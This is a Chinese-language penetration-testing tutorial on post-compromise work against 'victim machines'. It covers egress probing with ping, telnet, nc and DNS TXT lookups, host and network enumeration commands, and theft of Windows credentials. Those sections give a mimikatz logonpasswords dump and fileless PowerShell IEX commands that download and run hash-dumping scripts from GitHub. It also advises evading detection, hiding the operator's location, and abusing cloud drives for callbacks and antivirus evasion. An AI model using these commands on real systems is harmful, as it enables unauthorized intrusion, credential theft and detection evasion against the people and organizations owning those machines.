一、信息收集的意義:
搞滲透的人應該都清楚,信息收集對於滲透測試來說是非常重要的,我們手上掌握的目標的信息越多,成功滲透的概率就越大。信息收集的廣度往往決定滲透過程中可使用的招式,信息收集的深度影響一次攻擊的成功率,因此信息收集是一門精細活,需要足夠的耐心,同樣的重復工作可以寫一個小工具來代替。
二、受害機器的出網探測:
1、信息收集在內網滲透的意義:
在拿到一台機器后,肯定是想通過這台機器發掘更多有價值的信息(包括滲透和客戶關心的信息),所以通過遠控控制下來是很有必要的,那么這就需要我們對這個機器的網絡情況進行判斷,判斷是否可以出網,能用什么協議出網
斷網機、脫網機說的是一些無法通過正常的方式訪問網絡的機器,如打開瀏覽器訪問不到網絡站點,ping不到已知的機器。但這些斷網機也並非是真正的斷網,他們可能是被自身的網絡防火牆攔截掉了某些協議而不能出網。即有可能是該機器自身的防火牆設置了出站規則,也有可能是上層防火牆設置了某些機器不給出網的規則,還有可能是管理員把網管去掉了,導致計算機無法把數據傳送出去。
2、防火前規則的獲取
由於輸出的內容太多了,最好把它從定向到到一個文本文檔再查看:
netsh advfirewall firewall show rule name=all > 1.txt
也可以圖形化查看防火牆配置:
3、出網判斷的幾種方式:
①基於ICMP的出網判斷
Ⅰ ping公網任意域名和任意存活的IP:
Ping www.baidu.com // 在國外就ping www.google.com ,別暴露自己的方位
如果域名被解析為IP,就表明DNS協議可出網
Ⅱ ping任意IP的情況:
Ping 8.8.8.8 //這個是谷歌的dns
當無法ping通,如果是本機防火牆攔截的話,會顯示“超時”或“一般障礙”
②基於TCP的出網判斷
Ⅰ Windows
給予tcp的出網判斷就是使用一些內置的程序去連接遠程開放的端口,可以使用telnet來連接遠程端口,例如連接自己vps開放的端口。默認情況下win7開始時不支持telnet的,需要啟用該功能
Dism /online /Enable-Feature /FeatureName:TelnetClient #啟⽤telnet
Dism /online /Disable-Feature /FeatureName:TelnetClient #禁⽤telnet
開啟telnet之后,我們就可以現在自己的vps上先開啟監聽
nc -lvp 3306
然后就可以在目標機器上使用telnet來嘗試連接我們的vps了:
telnet <remote-ip> 3306
Ⅱ Linux
與Windows相似,直接用nc命令連接遠程nc即可:
nc <remote-ip> 3306
③基於UDP的出網判斷
腳本下載:https://gist.github.com/PrateekKumarSingh/61532b4f48edac1d893b
使⽤powershell腳本在windows機器內判斷基於UDP出⽹的情況。
如果不能通過什么辦法復制到⽬標機,可以通過echo的⽅式echo上⽬標機。可以先把⽂件編碼成base64格式,echo上服務器之后再解碼。
使⽤的是系統⾃帶的編碼⼯具 certutil:
certutil-encodetelnet.ps1telnet.txt #base64編碼
certutil-decodetelnet.txttelnet.ps1 #base64解碼
執行命令:
powershell -exec bypass -command "&{ import-module C:\Users\hacker\Desktop\Test-PortConnectivity.ps1 ;Test-PortConnectivity 'localhost' '182.61.182.110' 53 -Iterate -protocol UDP}
④基於DNS的出網判斷
通過獲取域名的txt記錄的值來判斷
Ⅰ 先在自己控制的域名上添加txt記錄
Ⅱ 然后在本機執行nslookup-type=txt txt.XXX.XXX \\這個XXX.XXX是域名
實戰滲透中我們需要判斷目標機器是不給訪問全部的公網還是只能訪問受目標機構信任的公共網絡,比如能訪問Google卻不能訪問自己的vps。所以可以先試用該目標國使用人數最多的公網進行測試,再使用自己的vps做測試。此外,要注意一下dropbox等網盤,如果目標機器允許訪問,我們可以利用它上線和免殺
三、受害機各類基礎信息收集
1、前言:
基礎的信息收集很⾮常有必要的,我們后期如果失去了對該機器權限的控制,想要再次拿回機器權限的時候,到時,初次收集到的信息就顯得尤為重要了。另外⼀個就是收集好信息回來之后,我們就在本地進⾏信息的提取和分析,不需要再⽬標機器上⾯停留太多的時間,減低被發現的⻛險;在后期與隊友進⾏分析的時候也可以快速拿出信息。
2、系統信息的收集:
命令:Systeminfo
Systeminfo信息主要包括:系統版本、架構(Bit)、機器名稱、注冊所有⼈、安裝時間、開機時間(有時候並不准確)、 補丁信息、⽹卡信息、IP獲取⽅式、是否為虛擬機等,信息量其實挺⼤,作為后期的信息綜合分析的基礎。
3、TCP鏈接、端口開放信息:
這個連接信息⾮常重要的,我們可以在不同時段多次獲取這個信息,因為不同的時段可能會出現驚喜。主要是有可 能出現⾮本⽹段的內⽹IP,在進⾏相關掃描上機之后,可能就省了很多事情。
我們可以用 netstat-h 顯⽰協議統計和當前TCP/IP⽹絡連接:
常用命令:
netstat-anto
netstat-r
netstat -anto -p tcp //篩選出TCP
netstat-f
4、獲取路由表:
獲取到本機的路由表信息,可以判斷當前機器的網絡網段情況,雖然不能擴展出更多的信息。
命令:
route print
netstat -r
5、獲取文件列表:
獲取全盤⽂件列表的意義在於我們對特定⽂件名的搜索,⽐如搜索各類密碼⽂件名、敏感⽂件(名單)、各類程序等⽂件的路徑。如果⽬標機器的語⾔是小語種的話,我們可能就要寫個小⼯具來獲取了,因為這涉及到編碼字符的問題。正常的獲取的⽅法可以先列舉所有盤符,然后再依次列舉就可以了。
獲取盤符命令:
wmic logicaldisk where drivetype=3 get deviceid #獲取邏輯磁盤盤符
wmic logicaldisk where drivetype=2 get deviceid #獲取移動磁盤盤符
這個命令可以獲取某個盤符下的所有文件名,注意最好重定向到文檔來查看:
dir /s /a c:\>logc.txt
dir /s /a d:\>logd.txt
5、獲取用戶列表:
方便后期權限掉了再通過一些密碼碰撞找回
命令:net user
6、查看已開啟的服務:
可以查看是否有防護類軟件、同行的服務啟動
命令:net start
7、查看系統變量:
可以看到管理員設置的一些變量,發現管理員常用的東西
命令:set
8、host文件:
可以查看管理員是否在hosts文件設置了訪問“域名“
命令:type c:\windows\system32\drivers\etc\hosts
8、DNS和子網掩碼:
通過ipconfig /all 可以獲取dns和子網掩碼,通常子網掩碼是255.255.255.0,這說明是可以直接跟C段通信的,不需要路由表。Dns的話是可以看目標機器用的是外網的DNS還是網關地址。
命令:ipconfig /all
9、查看有沒有遠程鏈接過來的session:
命令: net session
10、存活的IPC連接:
可以看是否可以通過已有的連接直接獲取內網其他機器的權限
命令:net use
11、查看已經安裝的程序(快捷,但不一定完整):
①Powershell
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name"
②WMIC
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_Product get name /FORMAT:table
12、查看已經安裝的程序(完整):
下載到本地后
powershell -exec bypass -f c:\users\public\ListInstalledPrograms.ps1
⽆⽂件
powershell IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/ListInstalledPrograms/master/ListInstalledPrograms.ps1')
四、受害機系統密碼&hash收集
1、Windows系統明文密碼:
①mimikatz:
Ⅰ 上傳mimikatz到目標(不推薦):
只需要把對應⽬標系統版本的 mimiaktz.exe上傳到⽬標機上,執⾏:mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords full" "exit">>password.txt
Ⅱ dump內存回來
Ⅲ powershell-mimikatz
②Metesploit
③Cobalt Strike
1、Windows系統賬戶密碼HASH
①powershell-mimikatz:
Ⅰ powershell無文件下載獲取hash:
powershell IEX (New-Object System.Net.WebClient).DownloadString('http://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
Ⅱ powershell導入本地ps1文件
powershell –exec bypass –Command "& {Import-Module 'C:\Get-PassHashes.ps1';Get-PassHashes}"